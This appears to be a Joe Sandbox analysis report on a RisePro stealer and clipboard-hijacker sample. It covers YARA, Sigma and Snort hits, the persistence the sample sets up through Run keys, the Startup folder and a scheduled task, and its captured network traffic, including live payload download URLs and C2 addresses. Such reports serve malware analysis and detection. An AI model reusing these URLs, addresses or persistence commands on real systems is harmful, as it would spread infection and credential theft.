41.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
44.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
44.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
44.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
25.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
12.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
12.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
12.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 34 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 5316, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 5316, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe, ParentProcessId: 3040, ParentProcessName: IHobmyUUXF8jFZ9HHCK7.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 4128, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.8 - Destination IP: 193.233.132.47

Timestamp:	04/24/24-14:43:00.371414
SID:	2049060
Source Port:	49707
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.8 - Destination IP: 193.233.132.175

Timestamp:	04/24/24-14:43:15.026610
SID:	2019714
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.8

Timestamp:	04/24/24-14:43:01.053353
SID:	2046267
Source Port:	50500
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.8

Timestamp:	04/24/24-14:43:00.696309
SID:	2046266
Source Port:	50500
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) - Source IP: 192.168.2.8 - Destination IP: 193.233.132.47

Timestamp:	04/24/24-14:43:03.189289
SID:	2046268
Source Port:	49707
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://easy2buy.ae/wp-content/upgrade/k.exexe	Avira URL Cloud: Label: malware
Source: https://easy2buy.ae/wp-content/upgrade/k.exe(d	Avira URL Cloud: Label: malware
Source: https://easy2buy.ae/wp-content/upgrade/k.exe	Avira URL Cloud: Label: malware
Source: http://193.233.132.175/server/k/l2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Multi AV Scanner detection for domain / URL

Source: http://193.233.132.175/server/k/l2.exe

Virustotal: Detection: 19%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Virustotal: Detection: 80%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 26%
Source: file.exe	Virustotal: Detection: 23%			Perma Link

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00623EB0 CryptUnprotectData,

0_2_00623EB0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.8:49717 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006233B0 CreateDirectoryA,FindFirstFileA,	0_2_006233B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00591F8C FindFirstFileExW,GetLastError,	0_2_00591F8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079CBCC FindFirstFileExW,	0_2_0079CBCC

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.8:49707 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 193.233.132.47:50500 -> 192.168.2.8:49707
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 193.233.132.47:50500 -> 192.168.2.8:49707
Source: Traffic	Snort IDS: 2046268 ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) 192.168.2.8:49707 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.8:49710 -> 193.233.132.175:80

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.233.132.47:50500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Wed, 24 Apr 2024 12:43:15 GMTContent-Type: application/octet-streamContent-Length: 4563640Last-Modified: Fri, 19 Apr 2024 15:26:27 GMTConnection: keep-aliveETag: "66228d23-45a2b8"Accept-Ranges: bytesData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 193.233.132.47 193.233.132.47
Source: Joe Sandbox View	IP Address: 104.26.5.15 104.26.5.15
Source: Joe Sandbox View	IP Address: 193.233.132.175 193.233.132.175
Source: Joe Sandbox View	IP Address: 193.233.132.175 193.233.132.175

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/154.16.105.36 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=154.16.105.36 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/k.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: easy2buy.aeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00578DC0 recv,

0_2_00578DC0

Source: global traffic	HTTP traffic detected: GET /widget/demo/154.16.105.36 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=154.16.105.36 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/k.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: easy2buy.aeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: easy2buy.ae

Source: file.exe, 00000000.00000002.3807052921.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660139988.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.175/server/k/l2.exe
Source: file.exe, 00000000.00000002.3807052921.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660139988.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.175/server/k/l2.exeo
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampi
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, RthubJXJJOhKyKgs0z_b.exe.0.dr, IHobmyUUXF8jFZ9HHCK7.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertrYQ
Source: file.exe, 00000000.00000003.2660060776.0000000005DE5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, RthubJXJJOhKyKgs0z_b.exe.0.dr, IHobmyUUXF8jFZ9HHCK7.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, 00000000.00000002.3808230870.0000000002E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adp/1.0/
Source: file.exe, 00000000.00000002.3808230870.0000000002E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.exif/1
Source: file.exe, 00000000.00000002.3808230870.0000000002E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, RthubJXJJOhKyKgs0z_b.exe.0.dr, IHobmyUUXF8jFZ9HHCK7.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
